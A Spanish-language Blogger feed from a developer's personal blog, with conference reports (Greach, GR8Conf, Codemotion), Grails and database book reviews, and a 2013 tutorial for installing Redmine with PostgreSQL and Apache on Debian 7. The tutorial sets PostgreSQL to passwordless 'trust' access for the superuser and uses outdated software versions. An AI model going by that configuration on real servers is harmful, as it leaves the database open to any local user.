tag:blogger.com,1999:blog-126664482024-03-08T03:26:29.599+01:00Blog de Iván LópezEn este blog iré contando cosas de la informática, linux, hardware, cacharreos,... en general un blog friki-geek ;-)Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.comBlogger196125tag:blogger.com,1999:blog-12666448.post-20120983575832685662014-06-09T08:20:00.000+02:002014-06-09T08:20:55.574+02:00Tres Kaleiders en GR8Conf<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglzLMbTZMJc7v6otV0O_198BNyb90vL_1AM1fx4TqEInHQWe7UQqmYy_r1iSkpnDj5V5gQocq8dg7Hd2N1lstnCipN82uqnbRuGtz04OMt5Belln9guXeviLDx6-bKNU795xMd/s1600/Google+-frontpage-photo.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglzLMbTZMJc7v6otV0O_198BNyb90vL_1AM1fx4TqEInHQWe7UQqmYy_r1iSkpnDj5V5gQocq8dg7Hd2N1lstnCipN82uqnbRuGtz04OMt5Belln9guXeviLDx6-bKNU795xMd/s320/Google+-frontpage-photo.png" /></a></div><br />
Pensaba escribir un artículo sobre la conferencia <a href="http://gr8conf.eu/">GR8Conf</a> a la que hemos asistido esta semana en Copenhague. Al final lo he escrito en el blog de Kaleidos así que os remito allí para leer mis impresiones:<br />
<br />
<a href="http://www.kaleidos.net/blog/209/tres-kaleiders-en-gr8conf/">Tres Kaleiders en GR8Conf</a>Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com2tag:blogger.com,1999:blog-12666448.post-2648888427055262462014-05-12T08:54:00.000+02:002014-05-12T08:54:02.725+02:00Greach 2014<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfRZyX71-F524PxMmgs0ZZJiaHzFcMcb4Sb5PjpaclGxBwt9ch_7tJciqgXqTskhvLcG0ATiVscSRLcXviLt5q6Tci7lBZjpDOh_LvONnI70UWoWIQ2OKsuxFOvJa1lAib6J6w/s1600/Greach01.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfRZyX71-F524PxMmgs0ZZJiaHzFcMcb4Sb5PjpaclGxBwt9ch_7tJciqgXqTskhvLcG0ATiVscSRLcXviLt5q6Tci7lBZjpDOh_LvONnI70UWoWIQ2OKsuxFOvJa1lAib6J6w/s400/Greach01.jpg" /></a></div><br />
La tercera edición de <a href="http://greach.es/">Greach</a> tuvo lugar los pasados 28 y 29 de Marzo en el Campus Sur de la Universidad Politécnica de Madrid, que amablemente, cedió sus instalaciones.<br />
La principal novedad de esta edición fue que, para atraer a más público internacional, se decidió (después de un intenso debate) que todas las charlas fueran en inglés. Ya se intentó hacer esto en la edición 2013 pero algunos ponentes nacionales no <strike>estuvieron</strike> estuvimos muy de acuerdo y al final no se hizo. Este año por fin se ha hecho y desde mi punto de vista ha sido todo un éxito.<br />
<br />
En mi caso, además de presentar la charla <a href="http://kcy.me/z4o0">Metaprogramming with Groovy</a>, me involucré como co-organizador para ayudar a <a href="https://twitter.com/albertovilches">Alberto Vilches</a> con todo lo referente a la organización de un evento como este: call for papers, agenda, patrocinadores, contactar con todos los speakers, vuelos, lanyards, encuestas,... Realmente, hasta que no te metes de lleno en la organización de un evento así, no sabes todo el trabajo que hay detrás.<br />
Ha sido una experiencia muy positiva y el año que viene seguro que repito. No obstante esto implicó que las dos últimas semanas no durmiera más de 5 horas cada día.<br />
<br />
Respecto a las charlas, el nivel de las mismas fue muy bueno y creo que la <a href="http://greach.es/agenda/">agenda</a> quedó bien distribuida. Había caras conocidas de otros años entre los speakers tanto nacionales como extranjeros pero también hubo muchas caras nuevas.<br />
<br />
También me gustaría aprovechar y dar de nuevo las gracias a todos los patrocinadores porque sin ellos el evento no habría sido posible.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpitXdEAnJ4igXfIetxLIGWP9PoTEGNz-c6iGstwbCnLmzWbP3zxaygJwHrpOAM-AAZ3woGr36yd8O7Enf5CIgeoESpWgFscNLk7jZkjyfWFyc7vcqvCJwEE5W-kVAVmLksh0n/s1600/IMG_20140329_095903.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpitXdEAnJ4igXfIetxLIGWP9PoTEGNz-c6iGstwbCnLmzWbP3zxaygJwHrpOAM-AAZ3woGr36yd8O7Enf5CIgeoESpWgFscNLk7jZkjyfWFyc7vcqvCJwEE5W-kVAVmLksh0n/s400/IMG_20140329_095903.jpg" /></a><br />
<span style="font-size: x-small;">Los cuatro Kaleiders que dimos charla :-)</span><br />
</div><br />
Respecto a mi charla, estoy muy contento con el resultado. La metaprogramación es algo que llevaba utilizando desde hace mucho tiempo pero nunca había profundizado lo suficiente. Así, tener que prepararme la charla fue una magnífica oportunidad para aprender más. Al ser la charla en inglés, mi principal miedo era que alguno de los rockstars estuviera entre el público, levantara la mano y me dijera algo como "Lo siento pero todo eso que estás contando no es así". Por suerte no pasó nada de eso e incluso después de la charla, <a href="https://twitter.com/burtbeckwith">Burt Beckwith</a> se acercó a comentarme una pequeña diferencia entre la implementación del ExpandoMetaclass entre Grails y Groovy y además me dijo que la charla le había gustado. Así que <i>Achievement Unlocked ;-)</i><br />
<br />
<center><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKXwwFSBHf4O63ELGBhh_-ItaEsWL47yLvWeYFmn3Eub81l8qvboCSgFMZrS2hz-xt5PMshls2Q8lY4n8u6XO92pLXvlvb_ADQLIrKfcU8R4OQ8Xxzc6F1UVjyMBps7-lT4lef/s1600/Bj0tfkeIQAAnT70.jpg" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKXwwFSBHf4O63ELGBhh_-ItaEsWL47yLvWeYFmn3Eub81l8qvboCSgFMZrS2hz-xt5PMshls2Q8lY4n8u6XO92pLXvlvb_ADQLIrKfcU8R4OQ8Xxzc6F1UVjyMBps7-lT4lef/s320/Bj0tfkeIQAAnT70.jpg" /></a><br />
<span style="font-size: x-small;">Justo antes de comenzar la charla</span><br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1fra8tLAdXbuZbDhuFmBkXD5yjKpuJOBfPBkx5II6jNZBQWTwSed7g_z4fBtEw0ilIIXoJ2kRd1gnuqLKXxiWwtxInO-RxKKLxeBUQXK7pFAPexEtR0OdaDF3A93ADkqLVfF8/s1600/Bj05Ik7IIAA-8tY.jpg" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1fra8tLAdXbuZbDhuFmBkXD5yjKpuJOBfPBkx5II6jNZBQWTwSed7g_z4fBtEw0ilIIXoJ2kRd1gnuqLKXxiWwtxInO-RxKKLxeBUQXK7pFAPexEtR0OdaDF3A93ADkqLVfF8/s320/Bj05Ik7IIAA-8tY.jpg" /></a><br />
<span style="font-size: x-small;">Después de la charla con Burt Beckwith</span><br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiIDpB9LnUEOMSUszXL74hZJ026wGcqnMxxSk-DUD7v9eQSwd5Xbxokjbn0veAgX4ff-UXCIaMSHLOEppYYUH7_l4Yg5uCOBqJfn7GTBe-tQDoQvbXGTR33D6F_CJVc8K1IyGG/s1600/IMG_20140328_154033.jpg" imageanchor="1" ><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiIDpB9LnUEOMSUszXL74hZJ026wGcqnMxxSk-DUD7v9eQSwd5Xbxokjbn0veAgX4ff-UXCIaMSHLOEppYYUH7_l4Yg5uCOBqJfn7GTBe-tQDoQvbXGTR33D6F_CJVc8K1IyGG/s320/IMG_20140328_154033.jpg" /></a><br />
<span style="font-size: x-small;"><a href="https://twitter.com/alotor">alotor</a> y yo :-)</span><br />
</center><br />
Para el que esté interesado, aquí están las slides y el vídeo de mi charla, junto con <a href="https://github.com/lmivan/greach2014">el código de los ejemplos</a>:<br />
<center><iframe src="http://www.slideshare.net/slideshow/embed_code/32868492" width="427" height="356" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px 1px 0; margin-bottom:5px; max-width: 100%;" allowfullscreen> </iframe> <div style="margin-bottom:5px"><strong> <a href="https://www.slideshare.net/ilopmar/metaprogramming-with-groovy" title="Metaprogramming with groovy" target="_blank">Metaprogramming with groovy</a> </strong> from <strong><a href="http://www.slideshare.net/ilopmar" target="_blank">Iván López</a></strong> </div></center><br />
<center><iframe width="560" height="315" src="//www.youtube.com/embed/ntI4D0TT3uY" frameborder="0" allowfullscreen></iframe></center><br />
<br />
Si quereis ver todavía más fotos, <a href="https://twitter.com/jmiguel">Jose Miguel Rodriguez</a> creó <a href="https://www.flickr.com/photos/jmiguel/sets/72157643070765403/">este album en Flickr</a>.<br />
<br />
Próxima parada: <a href="http://gr8conf.eu/">GR8Conf</a> en Copenhague en 3 semanas, aunque esta vez como asistente :-)Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com2tag:blogger.com,1999:blog-12666448.post-44137681257519238532013-12-29T16:44:00.000+01:002013-12-29T16:44:13.503+01:00Instalación de Redmine en Debian 7<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5AiqnUHqcypbpryKZ7Y5_exzdE8llauc7rsvx5InUElhKaMZutMqZF7DoRdUq_PE3ZPxjuCoC0aSkdUz_NYRsVwBbHHKA0FZr0SyeXXqI48cWBW6fr6wWkqFZ02ttPWV7uSO4/s1600/Redmine_logo_0.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5AiqnUHqcypbpryKZ7Y5_exzdE8llauc7rsvx5InUElhKaMZutMqZF7DoRdUq_PE3ZPxjuCoC0aSkdUz_NYRsVwBbHHKA0FZr0SyeXXqI48cWBW6fr6wWkqFZ02ttPWV7uSO4/s1600/Redmine_logo_0.png" /></a></div><br />
A la hora de gestionar proyectos existen multitud de herramientas y opciones disponibles. Algunas son gratis, otras no, unas ofrecen la posibilidad de instalarlas en tus propios servidores, otras se contratan "en la nube".<br />
<a href="http://www.redmine.org/">Redmine</a> es una de las que permiten instalarlo en tus propios servidores. Se trata de un gestor de proyectos escrito con Ruby on Rails, es multiplataforma y soporta múltiples bases de datos. Además es software libre con licencia GPLv2. <br />
Entre sus características destaca el soporte multi-proyecto, sistema de roles y permisos muy flexible y personalizable, gestión de tareas, wikis, foros, subida de archivos y documentos, notificaciones por email y por RSS,...<br />
<br />
Llevo casi 4 años utilizando Redmine en el día a día del trabajo (además de administrándolo) y después de instalarlo varias veces de cero y actualizarlo entre versiones otras tantas por fin me he decidido a juntar todas mis notas y escribir un tutorial actualizado.<br />
<br />
Partimos de una Debian 7 64 bits recién instalada sin nada adicional a excepción de OpenSSH. Toda la instalación se realizará con un usuario no root en su home, aunque algunos comandos requieren el uso de <i>sudo</i>. Aunque Redmine viene configurado por defecto para utilizar MySQL, en mi caso lo voy a instalar utilizando Postgresql.<br />
<br />
<h2>Instalación de Postgresql 9.3</h2>En los repos de Debian no está la última versión por lo que lo mejor es utilizar un repo oficial. En la actualidad ya se ha publicado la versión 9.3.2 y será ésta la que utilicemos.<br />
<br />
<li>Añadir el repo de Postgres</li><pre>sudo vi /etc/apt/sources.list.d/pgdg.list
# Postgresql
deb http://apt.postgresql.org/pub/repos/apt/ wheezy-pgdg main
</pre><li>Añadir clave de verificación</li><pre>wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
</pre><li>Actualizar los paquetes e instalar postgresql-9.3</li><pre>sudo apt-get update
sudo apt-get install postgresql-9.3
</pre><li>Damos permisos para conectarnos a las bases de datos</li><pre>sudo vi /etc/postgresql/9.3/main/pg_hba.conf
# Cambiar la siguiente línea:
local all postgres peer
# por:
local all postgres <b>trust</b>
</pre><li>Reiniciar el servidor para que aplique los cambios:</li><pre>sudo /etc/init.d/postgresql restart
</pre><li>Crear la base de datos</li><pre>$ psql -U postgres
psql (9.3.2)
Type "help" for help.
postgres=# CREATE ROLE redmine LOGIN ENCRYPTED PASSWORD 'my-secret-password' NOINHERIT VALID UNTIL 'infinity';
postgres=# CREATE DATABASE redmine WITH ENCODING='UTF8' OWNER=redmine;
</pre><br />
<h2>Instalación de paquetes adicionales</h2>Para poder compilar las gemas de ruby que instalaremos más tarde necesitamos una serie de paquetes. Algunos son los mínimos para poder compilar cualquier fuente: gcc, make,... y otros son necesarios para las gemas.<br />
<pre>sudo apt-get install build-essential
</pre>Instalar librería necesaria para utilizar Postgresql desde una aplicación Ruby on Rails<br />
<pre>sudo apt-get install libpq-dev
</pre><br />
<h2>Instalación de Apache</h2>Para poder servir el Redmine una vez instalado vamos a utilizar apache.<br />
Instalar apache2 y habilitar los módulos necesarios:<pre>sudo apt-get install apache2 libapache2-mod-fcgid libapache2-mod-proxy-html libfcgi-dev
sudo a2enmod rewrite
sudo a2enmod proxy_http
sudo a2enmod proxy
</pre><br />
<h2>Instalación de ImageMagick</h2>Para la generación de pdfs y pngs Redmine utiliza ImageMagick, por lo que si queremos utilizar esta funcionalidad deberemos instalarlo junto con las librerías necesarias.<br />
<pre>$ sudo apt-get install imagemagick libmagickwand-dev libmagickcore-dev
</pre><br />
<h2>Instalación de Ruby</h2>Ahora ya podemos instalar Ruby. Utilizaremos la versión 1.9.3.<br />
<pre>sudo apt-get install ruby1.9.3
</pre><br />
<h2>Instalación de Redmine</h2>Por fin, después de haber instalado todas las dependencias podemos empezar con la instalación de Redmine.<br />
<li>Descargar la última versión disponible. En el momento de escribir este artículo es la versión 2.4.2</li><pre>wget http://www.redmine.org/releases/redmine-2.4.2.tar.gz
tar zxvf redmine-2.4.2.tar.gz
ln -s redmine-2.4.2 redmine
cd redmine
</pre>La creación del enlace simbólico no es necesaria pero es una buena práctica. Además nos sirve en el futuro para actualizar la versión sin tener que tocar la configuración del Apache.<br />
<li>Crear el archivo de configuración de la base de datos a partir del que viene de ejemplo y editarlo</li><pre>cp config/database.yml.example config/database.yml
vi config/database.yml
production:
adapter: postgresql
database: redmine
host: localhost
username: redmine
password: "my-secret-password"
encoding: utf8
</pre>Importante quitar mysql de los environments de <i>develop</i> y <i>test</i> porque sino luego intentará instalar las dependencias y fallará. Poner "postgresql" en todos aunque no se configure nada más. Sólo vamos a usar el environment de producción.<br />
<li>Añadir una gema que luego utilizaremos para que se instale junto con el resto.</li><pre>echo 'gem "fcgi"' > Gemfile.local
</pre><li>Instalar gema de postgresql</li><pre>sudo gem install pg
</pre><li>Instalar gestor de gemas</li><pre>sudo gem install bundler
</pre><li>Instalar todas las dependencias de Redmine</li><pre>sudo bundle install --without development test
</pre><li>Crear las tablas de la base de datos</li><pre>RAILS_ENV=production rake db:migrate
</pre><li>Crear los datos iniciales (recomendado en inglés)</li><pre>RAILS_ENV=production rake redmine:load_default_data</pre><li>Crear directorios y dar permisos</li><pre>mkdir -p tmp tmp/pdf public/plugin_assets
chmod -R 755 files log tmp public/plugin_assets
</pre><li>Generar el <i>session store secret</i></li><pre>rake generate_secret_token</pre>Y listo, ahora sólo falta probar que todo funciona correctamente. Para ello, ejecutamos el servidor web embebido (no utilizar en producción).<br />
<pre>$ ruby script/rails server webrick -e production
=> Booting WEBrick
=> Rails 3.2.13 application starting in production on http://0.0.0.0:3000
=> Call with -d to detach
=> Ctrl-C to shutdown server
[2013-12-28 11:05:17] INFO WEBrick 1.3.1
[2013-12-28 11:05:17] INFO ruby 1.9.3 (2013-11-22) [x86_64-linux]
[2013-12-28 11:05:17] INFO WEBrick::HTTPServer#start: pid=25214 port=3000
</pre>Nos conectamos con el navegador a <b>http://localhost:3000</b> y nos logamos con admin/admin.<br />
<br />
<h2>Configuración de Apache</h2>Para servir el Redmine para poder utilizarlo en producción vamos a utilizar Apache junto con fcgi.<br />
<li>Desde el directorio redmine copiamos el archivo htaccess y de fcgi a partir de las plantillas.</li><pre>cp public/htaccess.fcgi.example public/.htaccess
cp public/dispatch.fcgi.example public/dispatch.fcgi
chmod +x public/dispatch.fcgi
</pre><li>Editar el archivo de configuración de entornos para utilizar el de producción por defecto</li><pre>vi config/environment.rb
# Añadir la siguiente línea al principio del archivo
ENV['RAILS_ENV'] ||= 'production'
</pre><li>Añadir el nuevo virtual host al apache</li><pre>sudo vi /etc/apache2/sites-enabled/000-default
<VirtualHost *:80>
ErrorLog /var/log/apache2/redmine-error-log
CustomLog /var/log/apache2/redmine-access-log combined
ServerName redmine.my-domain.com
ServerAdmin admin@my-domain.com
DocumentRoot /home/ivan/redmine/public
ProxyPreserveHost On
<Directory "/home/ivan/redmine/public/">
Options Indexes ExecCGI FollowSymLinks
Order allow,deny
Allow from all
AllowOverride all
</Directory>
</VirtualHost>
</pre><li>Dar permisos de escritura al usuario de apache a algunos archivos y directorios</li><pre>sudo chown -R www-data:www-data files log tmp public/plugin_assets</pre><li>Reiniciar apache</li><pre>sudo /etc/init.d/apache2 restart</pre>Y listo, si todo va bien deberíamos poder conectarnos a nuestro nuevo Redmine con el dominio que hayamos definido en nuestro virtual host, en este caso http://redmine.my-domain.com.<br />
<br />
<h2>Bola extra: Actualizar una versión antigua de Redmine</h2>Como he comentado al principio del artículo, llevo utilizando Redmine casi 4 años (empecé en la versión 0.9.6) y he actualizado de versión en bastantes ocasiones. El proceso de actualización es muy simple.<br />
<br />
<li>Instalar la nueva versión como hemos hecho hasta ahora y comprobar que todo funciona correctamente.</li><li>Parar apache y hacer una copia de seguridad de nuestra base de datos actual (espero que además hagas copias periódicas).</li><pre>sudo /etc/init.d/apache2 stop
pg_dump -U postgres redmine > db_redmine.sql
</pre><li>Después de instalar la nueva versión de redmine, en lugar de crear todas las tabla en la base de datos, lo que tenemos que hacer es ejecutar la migración de las mismas.</li><pre>rake db:migrate RAILS_ENV=production
</pre>Esto lo que hace es ejecutar todas las migraciones desde la versión que teníamos instalada hasta la versión actual para que el modelo de datos sea el adecuado.<br />
<li>Si tenemos plugins instalados, ejecutar sus migraciones.</li><pre>rake redmine:plugins:migrate RAILS_ENV=production</pre><li>Copiar los archivos subidos del directorio <i>files</i> del redmine antiguo al nuevo.</li><li>Limpiar cache y sesiones.</li><pre>rake tmp:cache:clear
rake tmp:sessions:clear
</pre><li>Finalmente reiniciar apache y logarnos de nuevo. Luego, en el menú <i>Administration -> Information</i> podemos comprobar que la migración se ha realizado correctamente y estamos con la versión adecuada:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXceMyjzOKsMnCP43XTq8y41cDg_zSiQs8fKCb63oYLaOaK9hP19BbKwrnyBvkyIt3ZBwiC17ltEFgbx7Q1aCLfvtzpFJu7Z3L2jcIBKEaVyrSyQuDDS5hI6n-2D0mcoFos_K2/s1600/Redmine+actualizado.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXceMyjzOKsMnCP43XTq8y41cDg_zSiQs8fKCb63oYLaOaK9hP19BbKwrnyBvkyIt3ZBwiC17ltEFgbx7Q1aCLfvtzpFJu7Z3L2jcIBKEaVyrSyQuDDS5hI6n-2D0mcoFos_K2/s650/Redmine+actualizado.png" /></a></div><br />
Para el que no esté muy seguro sobre las actualizaciones, decir que en todas las actualizaciones de estos años no he tenido ningún problema y todas han funcionado a la perfección. En esta última actualización he pasado directamente de la versión 1.4.4 a la 2.4.2. Han sido cinco versiones mayor (2.0, 2.1, 2.2, 2.3 y 2.4) y 27 versiones en total de diferencia entre ambas y cero problemas :-)Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com12tag:blogger.com,1999:blog-12666448.post-78623523263454150262013-10-27T15:48:00.000+01:002014-06-14T17:11:25.537+02:00Codemotion 2013El pasado fin de semana tuvo lugar la segunda edición de <a href="http://codemotion.es/">Codemotion</a> en el que participé, además de como representante de <a href="http://www.meetup.com/madrid-gug/">Madrid-GUG</a>, como ponente.<br />
<br />
Para el que no lo conozca, Codemotion es un evento por y para las comunidades. Es un punto de encuentro en el que nos reunimos todas las comunidades: Groovy, Java, Python, Ruby, Php,... A lo largo de dos días, 8 tracks y más de 100 charlas se han reunido en el Campus Sur de la Universidad Politécnica de Madrid más de 1500 personas para hablar y disfrutar de su pasión. <br />
<br />
En cuanto a las charlas, las del viernes me parecieron más flojas que las del sábado, aunque también es cierto que el viernes hubo muchas charlas de patrocinadores que no me llamaban tanto la atención. La organización fue muy buena teniendo en cuenta el número de asistentes y todo lo que había que coordinar.<br />
<br />
Para los que estén interesados en <a href="http://codemotion.es/talk/19-october/88">mi charla</a>, a continuación teneis las slides y el código fuente de las demos se encuentra disponible en <a href="https://github.com/lmivan/codemotion-2013">mi github</a>.<br />
<br />
<center><iframe src="http://www.slideshare.net/slideshow/embed_code/27361362?rel=0" width="595" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC;border-width:1px 1px 0;margin-bottom:5px" allowfullscreen> </iframe> <div style="margin-bottom:5px"><strong> <a href="https://www.slideshare.net/ilopmar/quiero-tiempo-real-y-lo-quiero-para-ayer" title="Quiero tiempo real y lo quiero para ayer" target="_blank">Quiero tiempo real y lo quiero para ayer</a> </strong> from <strong><a href="http://www.slideshare.net/ilopmar" target="_blank">Iván López</a></strong> </div></center>Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com0tag:blogger.com,1999:blog-12666448.post-70783396191022292232013-08-05T13:05:00.001+02:002013-08-05T13:05:42.896+02:00Leído: Programming Grails<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioIZVrpb36OhfvBLsb6KIwDcgeYsieXF9LxazomwGkC-W8aBfWzixdXGXG-w-Yl3YZEPVZHiWiEkbpK_WUb6Wsm7hPZWeJRlbXfMB605phXuFoQkS-4jLuH2rlQlBJ52gtiXNI/s1600/lrg.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioIZVrpb36OhfvBLsb6KIwDcgeYsieXF9LxazomwGkC-W8aBfWzixdXGXG-w-Yl3YZEPVZHiWiEkbpK_WUb6Wsm7hPZWeJRlbXfMB605phXuFoQkS-4jLuH2rlQlBJ52gtiXNI/s1600/lrg.jpg" /></a></div><br />
<br />
Ya se sabe, vacaciones, más tiempo libre, estar en la playa casi sin conexión a internet,... qué mejor forma de aprovechar el tiempo que leyendo :-)<br />
<br />
Libro escrito por otro de los Core Developer de Grails, <a href="http://twitter.com/burtbeckwith">Burt Beckwith</a> y como él mismo cuenta en la introducción, orientado a desarrolladores con experiencia en Grails que quieren conocer con más detalle cómo funciona la <i>magia</i> del framework y cómo se integra con Groovy, Spring y Hibernate. Si no conoces Grails este no debería ser tu primer libro porque no cuenta los distintos artefactos y cómo funciona el framework, sino que se mete directamente en sus tripas.<br />
<br />
Para empezar en el capítulo 1 damos un repaso a Groovy, lenguaje en el que se basa Grails. Se explica de una manera sencilla las particularidades del lenguaje y lo que lo diferencia de Java. Además se explican las colecciones, mapas, closures e incluso se habla un poco de meta-programación. El siguiente capítulo explica con detalle los 16 plugins core de una aplicación Grails: controllers, codecs, filters, urlMappings,... Da un punto de partida de cómo funcionan y deja con ganas de ponerte con el IDE a mirar con más detalle.<br />
El resto de capítulos habla de la capa de Persistencia, la relación con Spring, con Hibernate, la externalización de la configuración... y distintos "gotchas" a tener en cuenta y que más de una vez seguro que te han ocurrido y no sabías por qué.<br />
<br />
El libro me ha dejado un sabor un poco agridulce. Por una parte algunos capítulos como la parte de Spring, Hibernate o los Plugins me han gustado mucho y he aprendido bastante. Por otra parte otros como el de los plugins core de Grails hay que leerlos con el IDE abierto para ir analizando las distintas clases e interfaces que van explicando, puesto que si no se entiende nada. Tendré que volver a releerlos delante del ordenador para seguir profundizando en las tripas del framework.<br />
Por último, alguno de los últimos capítulos como el relacionado con los entornos Cloud o cómo actualizar las aplicaciones me han parecido un poco de relleno.<br />
<br />
Aún así, me parece un libro imprescindible si ya llevas tiempo con el framework y quieres conocer más cómo funciona <i>under the hood</i>.<br />
Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com0tag:blogger.com,1999:blog-12666448.post-34668000661388988572013-07-25T22:26:00.000+02:002013-07-25T22:26:29.771+02:00Leído: The Definitive Guide to Grails 2<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrzVsjQ6fhb1CmKtMm1pKVL5gfSqxSjsV1NjUhhdmOsGUWPMEQGw6ptepZp7rJ540oXRhAE3uouRwkKJ8vBukiQReoEhDT33ZNnm5_di0eS1UggSIqZPSuOMplc1KyeRWCdY26/s1600/DefiniteGuideGrails2.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrzVsjQ6fhb1CmKtMm1pKVL5gfSqxSjsV1NjUhhdmOsGUWPMEQGw6ptepZp7rJ540oXRhAE3uouRwkKJ8vBukiQReoEhDT33ZNnm5_di0eS1UggSIqZPSuOMplc1KyeRWCdY26/s1600/DefiniteGuideGrails2.png" /></a></div>Aunque ya llevo varios años trabajando con Grails siempre está bien mantenerse al día con las actualizaciones de los libros existentes a las últimas versiones del framework. El libro está escrito por Graeme Rocher y Jeff Brown, Grails Team Leader y Core Developer de Grails respectivamente, lo que implica que ambos conocen bien las tripas del framework y saben de lo que hablan.<br />
<br />
Durante 12 capítulos van explicando la esencia del framework y los pilares en los que se basa, principalmente Spring y Hibernate y Groovy como lenguaje de programación. Así, vamos viendo como empezar instalándolo y creando nuestra primera aplicación, las clases de dominio, los controladores, las vistas, los servicios hasta la internacionalización, GORM o el desarrollo de plugins. Los capítulos están bien estructurados y cuentan con buenos ejemplos con los que van explicando las particularidades de cada tipo de artefacto del framework. También incluyen en cada capítulo un apartado en el que se explica como testear el tipo de artefacto que se está explicando. Creo que habría sido mejor que los ejemplos de los tests hubiesen sido con Spock en lugar de con Junit, aunque mientras Grails no incluya Spock por defecto, tiene sentido no tener que instalar dependencias adicionales para hacer los tests. Yo sin embargo, siempre recomiendo a cualquiera que trabaje con Grails (e incluso con Java) que utilice Spock para realizar los tests puesto que conseguirá que sus tests sean mucho más explícitos, expresivos y fáciles de mantener que con Junit.<br />
<br />
Para finalizar comentaré que aunque la gran mayoría de lo que he leído lo conocía, siempre viene bien refrescar conceptos y reforzar algunas partes del framework que son algo más complejas. También he aprendido algún truco nuevo que seguro que utilizo dentro de poco en algún proyecto. En definitiva, un libro interesante para cualquiera que se quiera iniciar en Grails y también para desarrolladores que lleven tiempo trabajando con el framework.<br />
Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com0tag:blogger.com,1999:blog-12666448.post-31847009635569552712013-04-07T00:29:00.000+02:002013-04-07T00:29:04.835+02:00Leído: Seven Databases in Seven Weeks<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHv85lITu8MMfO9Ydjezrj6PQXN1_HLyZnWPl0xXhqQspt10Rv47_gWTZKuy1ADjsbgKLuPnJDiNN2IcLuqier46wq1PWyRhx3Z_uqQbpEdc9OtAWi0kgwHeyzeeyHGDBawBS5/s1600/rwdata.resized.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHv85lITu8MMfO9Ydjezrj6PQXN1_HLyZnWPl0xXhqQspt10Rv47_gWTZKuy1ADjsbgKLuPnJDiNN2IcLuqier46wq1PWyRhx3Z_uqQbpEdc9OtAWi0kgwHeyzeeyHGDBawBS5/s400/rwdata.resized.jpg" width="332" /></a><br />
<br />
Con este artículo empiezo una serie en el blog en los que iré contando mi opinión sobre distintos libros técnicos que voy leyendo. Uno de mis propósitos para este año es lograr sacar tiempo para leer 5 ó 6 libros técnicos y, a ser posible, que no estén relacionados unos con otros ni estén centrados en un campo específico.<br />
<br />
Así, empezamos con <a href="http://pragprog.com/book/rwdata/seven-databases-in-seven-weeks">Seven Databases in Seven Weeks: A Guide to Modern Databases and the NoSQL Movement</a>. A lo largo del libro hemos visto distintas bases de datos de distintos paradigmas. Desde las clásicas relacionales, hasta las modernas NoSQL con sus distintas variantes: orientadas a documentos, clave-valor, basada en columnas hasta las orientadas a grafos.<br />
<br />
El libro no pretende ser una guía del DBA para cada una de esas bases de datos ni tampoco un manual de instalación de cada una de ellas, sino que directamente nos va mostrando distintas características de cada una a través de diversos ejemplos. También se centra en los distintos criterios que debemos tener en cuenta a la hora de elegir una u otra y destaca sus puntos fuertes y deficiencias.<br />
<br />
Las bases de datos que se muestran, en el mismo orden de aparición son:<br />
- <b>PostgreSQL</b>: Se trata de una de las base de datos opensource relacionales más potentes que existen en la actualidad. Aunque personalmente llevo utilizándola varios años, aprendí muchas cosas de tipos nativos, array n-dimensionales y búsquedas full text search.</li><br />
